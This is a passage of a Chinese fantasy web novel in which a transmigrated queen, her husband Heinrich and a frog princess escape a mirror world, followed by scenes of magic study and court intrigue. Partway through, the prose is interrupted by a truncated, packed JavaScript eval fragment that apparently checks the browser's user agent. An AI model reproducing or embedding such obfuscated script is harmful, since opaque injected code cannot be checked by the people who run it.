她早就看海因里希不太顺眼，连带觉着卡尔*范维西也很碍事，如果这两个人能够彻底消失…… “不行。”卡特琳娜念头一转，拒绝了米洛的提议。 那种被影响的感觉太深刻，像是有什么在控制她。 她并不是做不出这种事情的人，她还能够做得更恶毒狠辣，只是她必须避免针对自己的阴谋和陷害。 之前，离奇的自信让她进入了镜中世界；现在，突然的恶毒让她想要一走了之。 她没有那么自信，她也没有那么恶毒，但她是真的很叛逆。 她侧过脸，看着米洛天真无邪的眼睛，说：“这样就不好玩了。” 这下换米洛愣住，她呆呆地看着卡特琳娜，从她脸上看到一种淡淡的笑意。这是什么表情？即使以米洛的知识面，也很难说清她心情怎么样。 她眼睁睁看着卡特琳娜转身，将手中的金棍变成了金镯子戴在手上，然后听到卡特琳娜惊喜的声音：“这下又可以了！怎么时灵时不灵？” 卡特琳娜从自己的挎包里拿出短剑，往印象中王座厅的方向去。 “你怎么不跟上？”她回头催促米洛。 米洛这才回过神，跑过去牵住卡特琳娜的手。她的手暖暖的，是人类的温度。 她们会永远在一起。 米洛心想，无论海因里希死不死，她都不会放开手。 * 人类海因里希正在与巨蛇卡尔缠斗。 本来已经被撞击和冰霜破坏得差不多的殿堂突然像是被丢进水中的彩色糖块，殿堂的墙壁变得模糊，金碧辉煌的色彩逐渐褪去，隐约露出了后面空白的虚无。 海因里希是经验丰富的剑术师，他早年在父亲的教导下系统学习过冰雪剑术，又去费里特独立大学深造。回国继承王位之后，他常年住在军营，与来犯洛尔兰的流寇战斗，练就了一身好本事。 之前米洛突然复制出另一个“海因里希”来袭击他，不过是拖住了他的脚步。他很快发现镜子魔法的漏洞，让那个试图击杀他的“傀儡”负伤。 米洛不得不逃走，他想要追去，却意外碰到再次出现在王座厅的巨蛇卡尔。 他看着弟弟与自己相似的脸上长满了蛇类的鳞片，心里暗道不妙。尚未开口尝试劝说，巨蛇卡尔便发狂一般直接朝他进攻。 海因里希手持长剑挡下巨蛇摆尾，但巨大的力量还是将他拍飞到了半空。他勉强转身抓住倒下的巨柱，脸颊上还是被巨蛇鳞片的锋利划出一道浅浅的血痕。 他从未想过自己的弟弟会是一只蛇。 洛尔兰开国后以冰鸟王座著称，王室徽章也是飞腾的冰鸟。范维西家族将蛇看作是自己的敌人，每年开春狩猎季以猎到的蛇越多而越荣耀。 看来，他不能继续保留实力了。 海因里希站在巨柱之上，将冰雪审判之剑握住，嘴里念念有词。剑身上闪烁起幽蓝色的寒光，让周围有融化迹象的寒冰再次冻结。 “卡尔，你可记得你小时候我告诉你的话？”他凛住目光，连呼出的气息都是寒意，“骑士就算是死，也不能放开手中的剑。你的剑呢？在哪里？” 他作为兄长，比卡尔大十岁，父亲死后，他几乎又是兄长又是父亲。 巨蛇卡尔盘踞在王座之上，庞大的身躯如同一座小山，鳞片闪烁着危险的光芒。他猩红的竖瞳紧盯着海因里希，嘴里发出威胁的嘶嘶声。 他的头部已经完全异化成了蛇类，只有胸口还保留着人类肌肤的颜色。他的手与蛇类的躯体融合了一半，根本没有手掌能握住剑。 再这样下去，他很快会成为一只彻底的蛇。 巨蛇张开嘴，露出獠牙，发出巨大的音波吼叫，然后朝海因里希冲过去。尖牙顶端喷出绿色的具有化学腐蚀性的毒液，试图将眼前这个质疑他的人类给溶解掉。 海因里希举起冰雪宝剑，一道耀眼的寒光劈向卡尔。 “冰冻！” 空中的毒液立即在寒气中冻结成冰，冰霜延伸到了巨蛇的牙齿和口腔。 海因里希脚踩着冰冻的毒液柱，飞快地冲向巨蛇的头部，试图将剑刃插入巨蛇的眼睛。 巨蛇又是怒吼一声，将被冻住的液体震碎，敏捷地躲闪，同时尾巴如同鞭子般甩向海因里希。 海因里希灵活地跳开，宝剑在空中划出一道弧线，落到巨蛇的胸口处。他斩向巨蛇胸口的鳞片，让寒冰的力量在剑刃上再次凝聚，与坚硬的鳞甲碰撞，发出刺耳的声响。 卡尔发出愤怒的嘶吼，张开大口，露出尖锐的毒牙，竟从口中喷出了火焰。 “雪暴！”海因里希再次跳跃腾飞在半空。 以他为中心卷起了无数雪花和冰雹，扩散到整个王座厅，将穹顶掀翻，显露出苍白无尽的天空。 海因里希这时候才意识到不对，整个世界陷入了极端的静谧，王宫的墙壁越来越透明。 是卡特琳娜已经找到破解镜中世界的办法了？ 他转向巨蛇，发现卡尔也出现了变化。巨蛇周身变得金黄，并且体格不断缩小。海因里希立即冲到巨蛇的身前，伸出长剑。 “霜链！” 冰雪凝成的链子将巨蛇绑住，令他只能在原地挣扎，嘴里发出低鸣。 这是不得已的办法，海因里希不知道卡尔究竟是中了什么样的诅咒，竟然会异变为蛇。他决心用宝剑挖出弟弟的心脏，然后带回现实—— 他举起冰雪审判之剑，往巨蛇的心口处刺去。 “住手！” 海因里希听到了陌生的声音，然后一只青蛙跳到了他的脸上，阻碍了他的进一步行动。 他怕是自己恶毒的妻子，便收回的攻势，后退两步。 青蛙从他脸上跳下来，站到了他和巨蛇卡尔之间。 不是卡特琳娜。 海因里希松了一口气，但见这青蛙外形奇特，皮肤上有闪耀的光斑，便想到卡特琳娜提起过的纳温公主，不由得脸色一沉。 就在他犹豫的时候，被霜链锁住的卡尔变回了人形。 他浑身苍白，近乎透明，发现了站在自己前面的青蛙。 “纳温？”他意识混乱而模糊，双腿无力，倒在了地上。 海因里希想去扶自己的弟弟，却被一只手拉住。他回头看，正是已经变回人形的卡特琳娜。 他本想要嫌恶地撇开恶毒女人的手，却最终只是任由她拉着。女人的手，比他想象中要温暖许多，他身上的寒冰瞬间都蒸发成了水汽。 他还是不敢相信，这个女人真心爱他。 “别打扰人家。”卡特琳娜把海因里希往后面拉，“虽然我们不知道发生了什么事情，但显然不是旁人能插手。” 金色的长发散落一地，卡尔似乎无力起身，而青蛙纳温只是扑进他的怀中。 “你终于愿意回来了吗？”卡尔完全没有在意远处的兄嫂嫂三人，眼里只有青蛙纳温，“你现在可以杀了我，夺回属于你自己的一切。你可以永远留在这里做一只青蛙，我也能够成为你身边永远的幽灵。” “为什么？”纳温问他，“是你故意赶我走的对吧？你没有嫌弃我，也没有憎恨我，却故意赶我走。” “不是故意，我就是讨厌你。”卡尔的声音变得虚浮，但他的情绪却突然被放大，“是你答应了帮我捡起金球，带我来到这里，让我陷入了过去的记忆，却告诉我一切是假的，还偷走了金球！我厌恶你，我憎恨你，我想杀了你！” 他站不起身，蛇尾刚刚变成人类的双腿，他还适应不了。但他能用手捏住青蛙，威胁她：“如果你不杀了我，那我就杀了你！” “你就是故意的。”纳温丝毫没有惧怕他的威胁，“你发现，你并不能帮助我破解诅咒，所以才故意假装讨厌我，想让我离开。” “你只是一只丑陋的青蛙，我讨厌你还需要假装吗？” “我也曾那么以为，我只是一只丑陋的青蛙，你不可能喜欢我。但现在我明白了，你喜不喜欢我并没有那么重要。”纳温没有挣扎，任由卡尔将她越捏越紧，“我相信你喜欢我，而且你也是真的喜欢我，不是吗？” “不 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“我们是最好的朋友。”他对纳温说，“时间永远在最美的春夏，人们永远幸福快乐，我和我最好的朋友活在这世上。” 纳温却兴致缺缺，她已经把洛尔兰王宫藏书室的所有书都看完，也研究完附近所有的动植物。 “这里为什么没有蛇？”纳温问，“春天应该是蛇类结束冬眠出穴行动的时候，怎么会没有蛇？连我这样的青蛙都有，却没有蛇，这很不正常。” 她对自然科学的一切都抱有浓厚兴趣，为了钻研这一问题，好几天没怎么理会卡尔。她在草丛里寻找蛇的巢穴，在王宫里询问有没有人目睹蛇类出没。 卡尔见她忙碌不已，决定不再隐瞒自己最好的朋友，告诉了她真相：“因为我不喜欢蛇，我的朋友。蛇会吃掉你，会让你受伤，所以我不会让蛇出现。” 纳温看着卡尔从未离手的金球，似乎明白了什么。 她开玩笑似的从卡尔手中抢走了金球，被混淆的记忆瞬间恢复。原来，她是一只被诅咒的青蛙。 “如果有人能真心爱我，那我才能变回人类。” 她告诉卡尔，如果他吻她，她就把金球还给他。 但可惜的是，卡尔的吻并没有让她变回人类。她逃走了，她惧怕了。如果这世界上，连卡尔的吻都做不到，那她永远只能做一只青蛙。 * 苍白的金发俊美青年将捏住的青蛙举到自己面前，没有犹豫落下去一个吻。 青蛙身上的金色斑点发出耀眼的光芒，然后她变回了人类。 纳温捧着面前王子的脸，再次吻了上去—— “别亲了！快走！”一个煞风景的女人跑过来拉住她的手。 纳温侧过头去，差点被吓破胆。她清楚记得，她在森林中掉入陷阱，就是这个女人如幽灵般出现，然后将她变成了青蛙。 但女人的手是炙热的。 也许，不是那个可怕的幽灵？ “我们要找到来时的那口井，然后回去现实！”卡特琳娜对纳温说。 她现在拥有“圣泪”，却不知什么缘故无法像卡尔或纳温那样改变这个镜中世界，她只能感觉到出口的方位。 穹顶和墙壁都已经消失不见，整个世界都要湮灭。除了米洛外，他们几个的人形都变得透明，相信不需要太久他们就会跟着这个世界一起消失。海因里希不敢耽误，将地上卡尔扛起，跟着卡特琳娜的脚步往前狂奔。 “在那里！” 卡特琳娜一手拉着纳温，一手拉着米洛，想要往井里跳。 米洛却挣开她的手，在她耳边说：“我一直在你身边。” 卡特琳娜没有回头，她知道米洛是一面虚无的镜子，镜子不需要去到现实。她没有犹豫，拉着纳温跳进去了。 海因里希却停下脚步，警惕地看着井口的米洛，怕她又要袭击自己。他现在不太肯定，米洛的袭击是自发，还是卡特琳娜授意。 “我暂时不杀你。”米洛身上的伤口消失了，又变得完美无缺。 她穿着白色结婚礼服，手里抱着婚礼花束，给海因里希让开了一条路来，甜蜜地笑着，语调越来越自然，但还是会给人一个不太真实的感觉。 “留着你，给我的卡特琳娜做一个好玩的玩具。” 她的笑让海因里希想起了结婚那天，卡特琳娜似乎也对他说过类似的话—— “如果，你只是玩具该有多好。” 那个女人真的爱他吗？海因里希一直不太确定，也许她对他的爱，仅仅是对待一个玩具。 32. 共用房间 他们从井中出来的时候，竟然还是深夜。这意味着他们在镜中世界呆了很久，现实世界却只过了很短的时间。 海因里希仍扛着晕倒的卡尔，眼睛观察四周。 “你在找谁？”卡特琳娜发现了他的异样，询问道。 “和你长得一样的那个女人，她还没有出来。”海因里希面无表情，比起肩上弟弟的死活，他似乎更关心别的。 卡特琳娜想起米洛说海因里希要杀她的事情，心里有了防备。她摸了摸脖子上的项链坠，确定米洛还在，便回答道：“她应该是从别的出口走了。” 海因里希不好再追问什么，背着卡尔走向王宫。而纳温也关心卡尔的安危，想要跟着过去，却再次被卡特琳娜拉住手。 “你先担心担心自己吧。”卡特琳娜提醒她。 纳温还有些惧怕这个诅咒她的恶毒巫婆，甩开卡特琳娜的手往后退，但又知道这次从异空间出来是靠她救了自己，所以心中犹疑，走也不是，留也不是。 今夜倒不太冷，月光照着洛尔兰，让卡特琳娜第一次能够看清纳温公主的样貌。 她有着一张精致的瓜子脸，两颊散落着雀斑，白皙中透着健康的粉润，年纪看起来只有十六七岁。秀发如瀑，乌黑亮泽，柔顺地垂在肩头。一双杏眼灵动有神，似乎对世上的一切充满好奇。 不愧是公主！卡特琳娜心里想，长得真好看，但比玛利亚还是差点。 “你，你还要对我做什么吗？”她想要防备卡特琳娜，却又不知道该怎么做。 “我不会对你做什么，但你的叔叔，你父亲的兄弟，瓦沙克亲王，可能想对你做什么。” “怎么会……”纳温不相信地抬起眼。 卡特琳娜比她要高十厘米左右，她要微微仰着头看，“瓦沙克对我那么好，他不可能……” “就是他让我把你变成青蛙的。”卡特琳娜没有隐瞒。 纳温一愣，咽了咽口水，叔叔对她那么好，难道是故意的？ 其实她并没有那么反感变成青蛙，她对成为动物生活感到满意。在作为青蛙期间，她体验到了很多青蛙的动物习性。虽然现在变回了人类，但她却还想要体验作为其他动物的感觉。 这对她的学习很有帮助，她第一次知道还有这种学习方式。比读无数本青蛙学专著还要更有用，她现在就想要起笔写一篇关于青蛙的研究论文。她相信，费里特自然科学报会很高兴能够接收这样一篇具有绝对创新性的文章。 而且卡特琳娜把她变成青蛙之后，又出现来救她，像是安排好的一样。她豁然开朗，想明白了一切，是瓦沙克为了她好，特意请卡特琳娜对她施加魔法。 她想起她叔叔，那个温和善良的亲王，为了帮助她学习，不惜与她父亲对抗。 毕竟当时她在亚连士雪上上采集植物标本，就是想要寻找冻莲，带回去给学校温室动物房里的青蛙。 “虽然现在你变成了人类，但处境依然危险。”卡特琳娜也不太知道该拿纳温怎么办才好，“如果瓦沙克知道你在这里，恐怕会采取某种行动。我建议你隐藏身份，先给你的父亲巴尔亲王写一封信，让他派遣得力的骑士来接你……” 纳温怎么可能会去父亲那里，她现在坚信是瓦沙克为了帮助她，特意让她到了洛尔兰的地界。 如果她回到莫里安，巴尔会把她抓回蒙托，然后让她嫁人！她不要嫁人，她要读书，她要上大学！ 她决定赖在这里不走了，于是对卡特琳娜说：“我想读藏书室里的书。” 卡特琳娜有些意外，她正在对纳温建议怎么更安全地回到家，纳温却一心只想读书。 “在卡尔的记忆中，我读到了一些洛尔兰王宫藏书室的书籍，但很多都残缺不全。也许回到现实，我能读到完整的版本。”纳温眼睛亮起来，“我可以作为藏书室的管理员，以隐藏我自己的身份，不会有人找到我的。” 纳温不好意思地挠头，又说：“如果你方便的话，可以把我变成猴子或者是猩猩！我从来没有亲眼见过这两种动物，如果能体验他们的生活，那一定会是很棒的一件事！不会有人知道猴子或猩猩图书室管理员是我！” 卡特琳娜：？？？ 不知道该说什么，这女孩是天真还是愚蠢，对着将自己变成青蛙的巫婆，竟然还能说出这样的话来？ “这个，不太好吧，你知道幽灵学派变形魔法的原理吗？”卡特琳娜不得不向她讲解了一下原理。 纳温听后大失所望：“原来必须是我了解了这种动物的知识之后，才能够被变形为它吗？也许我可以学习一下猴子或猩猩是怎么生活的。” 卡特琳娜没想到她还没有放弃成为小动物，有些不太知道该怎么和她交流了。 现在时间很晚，一直在室外呆着也不太好。于是她带着纳温回到王宫，让简妮给这位新任的藏书室管理员小姐安排了一间客房。纳温不敢用自己原本的名字，自称是“温蒂”。 “费里特独立大学自然科学系的入学资格考试是在什么时候？”卡特琳娜问她。 “是每年的六月九号和十号。”纳温听到问话，整个人的状态变得紧张起来，“我的复习资料还在教会中学，真希望当时带在身上。” 如果父亲找到她的复习资料，肯定会一把火给她全烧光。 卡特琳娜不太知道这是个什么样的考试，但感觉似乎跟她考过的高考差不多。那真是她生命中最痛苦的记忆之一，她不会愿意再去体验一次。 “自凯特罗琳女王执政以来，对拜厄的人才选拔制度进行了全面改革。她先是将拜厄皇家学院改为费里特独立大学，而后又推动了包括萨丁岭科学技术学院在内的九所高等院校的成立。 “其中，费里特独立大学完全从王室管辖中独立出来，成为了享誉全世界的大学，是许多人心目中的大学第一位。费里特独立大学广泛向全世界招生，不限国籍、年龄、性别和身份。只要通过了入学资格考试，无论你是幽灵还是魔鬼，无论你是精灵、野兽还是人类，只要你愿意遵守大学的规章制度，有着一颗求学的心，就能够在相应的领域内学习、钻研、深耕。 “费里特独立大学的入学资格考试分为基础考试和专业考试，六月九号是基础考试日，全校所有专业都是同一份试卷。而专业考试则是不同学系各自组卷，在六月十号进行。一般来说，是按照固定名额数和考生排名进行资格筛选，位次越前越容易通过。每年每个学系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她装的镜子都没有用上，浪费她背了半天。动作间，一面小小的化妆镜往地上掉，卡特琳娜赶紧发动灵力，控制镜面的稳定性。 她好累，她用了太多灵力，她眼睛都要睁不开了。 海因里希上前一步将地上的镜子捡起来拿在手里，递还给卡特琳娜，说：“没有碎。” 卡特琳娜伸手去接，却发现海因里希不放手。 她抬眼，面前的男人正低着头盯她，像是要把她的脸给盯穿。 “看什么看？”她干脆不要镜子，白了海因里希一眼，“没见过美女吗？” 她站起身来，想要将人打发走，“里希，没有事的话你赶紧出去，我要沐浴更衣睡觉了！” 她被人拉住，陷入了一个坚实的怀抱。 “卡尔用了我的房间，所以想要问你，今晚我们能共用你的房间吗？” 海因里希的声音很轻，像是雪落在地上，但卡特琳娜听得非常清楚。 她听力好，卡特琳娜想，一定是这样的。 她听力很好，所以心跳声才这样大。 33. 新月礼物 卡特琳娜立即转身推开海因里希，与他拉开了一定的距离。 与此同时，米洛的声音在她脑海中响起：“洛尔兰王宫建筑面积仅有费里特王宫的十分之一，内部一共有97个房间，包括有1个王座厅，4个国事厅，14个办公室，2个藏书室，8个储藏室，11个皇家卧室，10个客房，35个工作人员卧室和12个浴室。除开被卡尔亲王占据的国王卧室和此处的王后卧室，还剩余9个皇家卧室可供范维西三世挑选。” 话是这样说，但卡特琳娜看着眼前金发蓝眼的俊美国王觉得很难拒绝。毕竟暗处的幽灵还在觊觎她的肉身，而她亲眼目睹了海因里希与巨蛇之间的战斗。 海因里希不仅是一个优秀的剑术师，光明祈士的魔法也运用得炉火纯青。如果这样的人不是敌人的话该有多好…… “也不是不行，但你答应过的条件……” 卡特琳娜没有直接出口拒绝，而是提起之前的约定。她需要提醒海因里希，他们之间还存在很多问题，这算是委婉拒绝的方式。 海因里希并没有忘记卡特琳娜答应去找卡尔提出的条件，他面色平常，没什么情绪地说：“现在很晚了，明天我就让安德鲁将伊桑*沙穆交由你处置。” 说完，他竟令宫仆来替他更衣，似乎真打算在王后的卧室睡下。 “我不喜欢他留在这里。”米洛闷闷地说。 卡特琳娜也不太喜欢，但想着两个人毕竟是十年的老夫老妻，而且前卡特琳娜又对人家一往情深。她总不能太OOC了吧？ 卡特琳娜累得不轻，倒床上便呼呼大睡，也没管旁边的人有没有上她的床了。她现在只希望那该死的幽灵不要趁机入侵她的梦，让她连觉都睡不好。 所幸，那幽灵真没有再来烦她。 卡特琳娜直接睡到了第二天下午。她舒舒服服地醒来，发现早已没有海因里希的踪迹，也不知道他昨晚有没有真的上床睡觉。 她让简妮把吃的给她端到床上。 “……这是什么？”卡特琳娜看着盘子里诡异形状的食物，只能下口喝牛奶。恐怕是牛奶产量也有不足，感觉是兑了水，味道淡淡的。 “陛下，布莱恩说他受到食神的点拨，要进行菜肴的变革创新……”简妮的声音越说越小，似乎是生怕卡特琳娜生气。 卡特琳娜吃了两口如面糊糊一样的早餐，立即给吐了，但却没有生气，只是觉得离谱。那天晚上她似乎用擀面杖锤了布莱恩的脑袋，难道是给人锤智障了？她非常无奈，想着要不要找机会换个厨师。 甚至，她想进厨房自己做，却碍于王后的面子，只能详细吩咐简妮：“给我拿两片烤面包片，水煮两根玉米，煎点小牛排，不要乱创新了。” 吃好“早餐”后，她终于有空闲时间解决遗留的事情。 她先是检查了简妮买回来的一大堆镜子，让宫仆在王宫的每个房间内都放置一面。这方便她后续练习镜子魔法中的“镜子转移”，让她通过镜子在不同的空间移动。 然后她找到海因里希的得力手下其实安德鲁，让他派人将伊桑*沙穆从地牢里带出来，将人安置到王宫较为偏僻的客房。 虽然没有解开脚铐，又派了不少宫卫在附近看守，但让伊桑*沙穆换了条件更好的地方生活，更有利于他养胎。 “陛下。”伊桑跪在地毯上，叩谢卡特琳娜的恩典。他没想到不过两三日的时间，她就真的把他从海因里希的手中捞出来了。 “不用这么大礼，你好好坐着。”卡特琳娜觉得伊桑于她是个烫手山芋，但也不算没有用处，至少他曾是全知教会的神父，又是前卡特琳娜的情人，知道不少教会和王后的秘辛。 他还怀着孕，卡特琳娜非常好奇，男人要怎么样把孩子生出来。 “预产期是什么时候？我看你肚皮平平，一点不像有宝宝的样子。”卡特琳娜见伊桑身材高挑，一点不显怀，不免失望。 估计只有一两个月，若是八九月生孩子，到那时候她不一定在洛尔兰。她答应了米洛要在今年年底前找到永夜之都，所以她不打算在这个贫穷的小国久留。 “已经有一年时间了。”伊桑*沙穆从地上站起身，解开自己的衣衫。 这里有供暖管道，没有地牢那样寒冷，他将上身完□□露出来。 卡特琳娜不由得瞪大双眼。 什么？一年？ 她看着眼前的裸男，胸肌、腹肌块块分明。虽然他下腹有一条纵向疤痕，提示着他接受过子宫移植手术，但他一点小肚腩都没有，让卡特琳娜看不出来任何一丝怀孕的迹象。 米洛这时候替她答疑解惑了：“在伊桑*沙穆接受了子宫移植术后，那个幽灵将胚胎植入了子宫内。由于伊桑*沙穆体内有孕种存在，他很顺利开始孕育您的血脉。时至今日，胎儿约发育为四周人类胎儿的样子。 “根据伊桑*沙穆的证词，胚胎同时也是范维西三世的血脉。而父母双亲都是人类，可大致认为胎儿也是人类。人类的孕育周期一般是28周到32周，但这个胚胎来源不明，很难准确地判断它在子宫内发育极其缓慢的原因。” 一年时间才四周大小，哪吒都没有它长得慢。 卡特琳娜感到惊奇，走到伊桑*沙穆的身前，将手掌放在他下腹。 她能感觉到，有什么像是磁铁般吸引着她。她只是一个魔法学初学者，却能够通过血脉感应，从掌心感受到一股巨大的、剧烈的、与她同频的振动…… 卡特琳娜立即将手收了回来，没有再质疑了：“确实，是我的孩子。” “陛下。”伊桑趁机抓住了她的手，恳求她，“您，您一定要救我。” 卡特琳娜也能料想伊桑*沙穆的艰难处境，即使她将他从海因里希手里拿到了对他的处置权，教会那边也不好交代。 魔法的世界里，伊桑想要隐瞒或欺骗，显然不是容易的事情。 “说说，我要怎么救你？”卡特琳娜撇开了伊桑的手，将半褪的衣服给他重新披了回去，“衣服穿好，别着凉了。” 前卡特琳娜孕育这个胎儿，不知从哪里窃取了范维西三世的血脉，无非是为了夜仙女的预言。她想要让自己的孩子成为执掌北大陆的王，却没有料想到肯*沙穆试图用真正的卡特琳娜的血脉来制造古奥斯家族的继承者。 在得知肯*沙穆的预谋后，前卡特琳娜不惜与全知神教作对，也想要除掉怀孕的伊桑及其腹中孩子。 看来，前卡特琳娜发现伊桑的孕种，也不过是最近的事情，不然不会放着这位孕夫整整一年不管。 而且，卡特琳娜想到了她刚刚穿越过来的时候，她正在凌虐白雪。那时候前卡特琳娜有没有发现白雪其实是男孩？ 如果已经发现的话，那前卡特琳娜一定会想要杀了白雪。难道当时她手上的鞭子，便是杀人的凶器？ 卡特琳娜当时对穿越的情况太惊讶，没有特别注意那根鞭子，摇了摇头没有继续深想。 范维西第四代的男性早已经出现了，伊桑肚子里的孩子并非预言中的王者。但前因后果如何，估计只有那个幽灵才清楚知道。 卡特琳娜必须想办法将那个觊觎她的幽灵除掉，不然心里总是有一处感到不安。这次进入镜中世界，不知道有没有那个 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“这是我们两个人的秘密。”伊桑将手放在肚子上，显得非常珍视这个孩子，“它的存在不应该被任何人知道。我怀疑，您身边有教会的奸细。若是不能将这个奸细揪出来，不只是我，您的安全也会受到威胁。她/他极有可能作为杀手，来害我，还有我肚子里的孩子。” 伊桑的话让卡特琳娜不由得警惕起来，若是真的有一个奸细一直潜伏在她身边，那确实极其危险。 “你放心。”卡特琳娜拍拍他的肩膀安慰道，“我一定会把那个奸细找出来，确保你们父子俩没事。” 卡特琳娜不由得头大，身上的担子又多了一件。 她还能怎么办？只能一件件去做呗。 告别了伊桑，她去国王卧室看望卡尔，发现藏书室管理员温蒂（纳温）正坐在床边给人念书。 他们见到卡特琳娜进来，都红了脸。 温蒂立即起身行礼，卡尔由于身体抱恙坐在床上唤了声：“陛下。” “在读什么书？”卡特琳娜好奇地去看温蒂手上拿着的书。 名字是《青蛙和蟾蜍的区别：养殖与疾病防治》。 这…… 温蒂刚刚从青蛙变成人类，但显然还对青蛙抱有浓厚的兴趣，从藏书室找到这本宝书后迫不及待想要与卡尔分享。 卡特琳娜对青蛙一点兴趣都没有，关心了一下卡尔的身体恢复情况，聊了两句温蒂今天在藏书室的工作。 卡尔一开始见到卡特琳娜还很紧张，但交谈中发现嫂子竟然变得格外和蔼亲切，不免心中讶异。 他非常懊恼自己搞丢了要送给嫂子的金球，看来在新月节前，他还得再想办法找一个新的礼物。 “对了，我想要问你。”卡特琳娜突然将一只金球伸到他面前来，“这个金球不会是你准备送给我的礼物吧？” 卡尔惊奇地抬头看他，点头应道：“是的。” “从哪里得到的？”卡特琳娜又问。 卡尔如实回答：“年初时有一个流浪收藏家经过肯古丽湖，我帮助她在湖中钓起了极稀有的传说鱼，于是她将这个宝物送给了我。她说这个金球内部蕴含魔法之力，无论是做摆设，还是重新锻造，都有非常好的灵力增益效果。我正好缺一件能拿出手的礼物，便想着新月节前带着它到王宫来赠予王后陛下您。” 收藏家？ 卡特琳娜捕捉到了一丝古怪的感觉，追问：“她叫什么名字？” 卡尔突然被问住，嘴巴张开，却说不出什么。他苦思冥想半天，挠着头回答说：“……我，我不记得了。” 34. 魔法难学 不只是名字，卡尔连那个收藏家的长相都记不起来。让他回忆是什么时候发生的事情，他只知道是在今年年初，具体是哪一天哪个时间段，他是一点印象都没有。 那时候，卡特琳娜应该还没有穿越到这个世界，根本确认不了是卡尔受伤脑子出问题，还是有什么别的隐患。 “传说鱼是什么？”卡特琳娜转而询问。 这算是问到知识点了，温蒂主动回答：“那是北方的特产之一！亚连士雪山这一代有五大传说——传说鱼、传说鸟、传说鹿、传说果和传说泉！传说鱼又名火焰鱼，来源于肯古丽湖，是一群巨大、凶猛、危险的鱼。它们生活在肯古丽湖深处，正是由于它们身上的火焰属性，肯古丽湖才会永不结冰。” 永不结冰的湖…… “很难钓到吗？”卡特琳娜又问。 “当然很难，肯古丽湖是北大陆最大的内陆湖之一，深度之深，还无人能探及底部。传说鱼生活在深处，极少出现在湖面。历史上是在地震影响下，有人目睹了传说鱼的形貌，才有过相关记载。” 看来确实是属于传说了。 卡特琳娜看着一脸懵的卡尔，问：“那你是怎么帮助收藏家钓到传说鱼的呢？” “……不，不记得了……”卡尔简直是一问三不知，还不如人家温蒂有用。 卡特琳娜也就没有再跟他说废话，她今天走来走去，还没有自己学习呢！ 她穿了一身黑，将一大堆小镜子带到了魔法屋内，在米洛的指导下进行镜子魔法的学习。她发现，从镜中世界回来之后，她灵力的敏感度和可控性都得到了大幅度的提升。 她现在能够准确控制直径五十米以内的镜子镜面的稳定性，用灵力震碎镜面或者是将破碎的镜面粘合。 除此之外，她还能够轻松控制面前镜子里的画面，让其中的她自己做出与现实不同的动作来。但这种时候，她心里又会生出某种恐惧感，总觉得镜中的自己说不定也有独立个体的意识。 之前鲁莽的心态淡化不少，卡特琳娜没有那么急切了，她还是想要稳打稳扎学好魔法，不然就会像上次那样莫名其妙变成一只青蛙。 首先，还是要从魔法学理论开始学起。 “之前海因里希说他是光明祈士三阶的程度，这是什么意思？”卡特琳娜询问米洛。 由于她的灵力有了增强，米洛现在能够在她的帮助下以镜中人的形象出现在镜面。 米洛回答说：“这是巫师协会为了给不同的魔法修习者分类而进行的等级划分，一共分为七个等级，等级越高，实力越强。 “一阶和二阶，也被称为魔法学徒，费里特独立大学或者同等资格的高等学院的魔法学专业预科毕业，即可认定为一阶巫师；本科毕业即可认定为二阶巫师。 “三阶、四阶也被称为魔法学者，魔法学专业硕士毕业，即可认定为三阶巫师；而魔法学博士毕业，即可认定为四阶巫师。 “除了相应学院的毕业证书，还可通过巫师协会的资格考试认定前四阶的魔法实力。获取了官方资格并由协会公开的巫师，可以受聘于相关魔法机构参与工作。如没有进行资格认定，在协会公布的名单中查阅不到姓名，却从事巫师相关职业，会被执法部门裁定为诈骗和非法营业。” 卡特琳娜没想到这个童话世界的巫师还有这么严格的等级划分，需要考级，还有学历加成找工作的情况。 “那后面的五六七阶呢？”卡特琳娜问。 米洛回答说：“五阶和六阶，被称为魔法圣者，具有强大、丰富的魔法实力，巫师人数寥寥，都是非常隐秘的强者。并没有公开的资格考试对这一阶段的巫师进行认定，但协会内部有秘密的认定办法。 “魔法圣者可能被协会记录在案，但很多不对民众公开。也存在一些四阶巫师实力提升后到五阶、六阶的程度，但她/他不进行进一步认定，那记录就会一直停留的四阶。” 看来五阶是一个巨大的分水岭，从普通巫师变为强大巫师的转折。 “那七阶岂不是很厉害？” 米洛点点头：“是的，我的卡特琳娜。七阶巫师，接近于神，或者说，相当于神。历史上唯一有记载的七阶巫师，是全知神之子卢*沙穆，他能上天入地，能复活尸体，能活化石头，是最伟大的巫师之一。” 卡特琳娜没想到七阶巫师竟然能相当于神，她对这个卢*沙穆感到好奇，“他是哪一个派别的巫师？” “全知神教的教徒，大部分是物灵派的巫师，卢*沙穆也不例外。” 他再伟大，也是历史里的人物了。卡特琳娜没太在意这种历史老头，更在意有关自身的事情：“你觉得我现在是哪一个等级？” “……”米洛似乎是很仔细地想了想，说，“你的天赋非常好，不愧是古奥斯家族的女儿。在普通人群中，能拥有魔法灵力的人不足千分之一，但你在短短几天内就能对灵力有所掌控。” 卡特琳娜听出了她话里有话，又问：“那在不普通的人群中呢？” “我的卡特琳娜，你在学习魔法的人群中，也拥有非凡的实力。费里特独立大学魔法学预科班毕业率低至百分之十，他们绝大部分连一阶巫师的水平都达不到，而你现在比很多百分之十的人都要强了。在我看来，你完全能够达到一阶的水平。”米洛对她进行夸夸，但还是用了对比的修辞手法。 卡特琳娜很满意，却又听到米洛继续说：“但是，你的魔法学基础薄弱，对灵力的控制非常不稳定。对巫师来说，灵力稳定性至关重要。即使通过了资格认定，也有百分之四十的巫师在今后的学习或施法过程中由于灵力不稳定出现精神异常，严重者直接精神爆裂身亡。” 卡特琳娜之前也听过类似的话，知道巫师是一种非常危险的职业。所以她打算放下自己急躁的心，老老实实从基础学起。 海因里希有三阶的程度，是因为他魔法学硕士毕业。卡特琳娜想到他在镜中世界的表现，确实对魔法运用得很熟练，没有辜负他千里迢迢去费里特学的文凭。 她也不能懈怠，立即将之前米洛推荐的书籍找出来，一个字一个字地看…… 然后。 她就困得睡着了。 * “这样不行。”卡特琳娜醒来后对自己感到非常懊恼，她竟然一点意志力都没有，就这样还读什么书啊！ 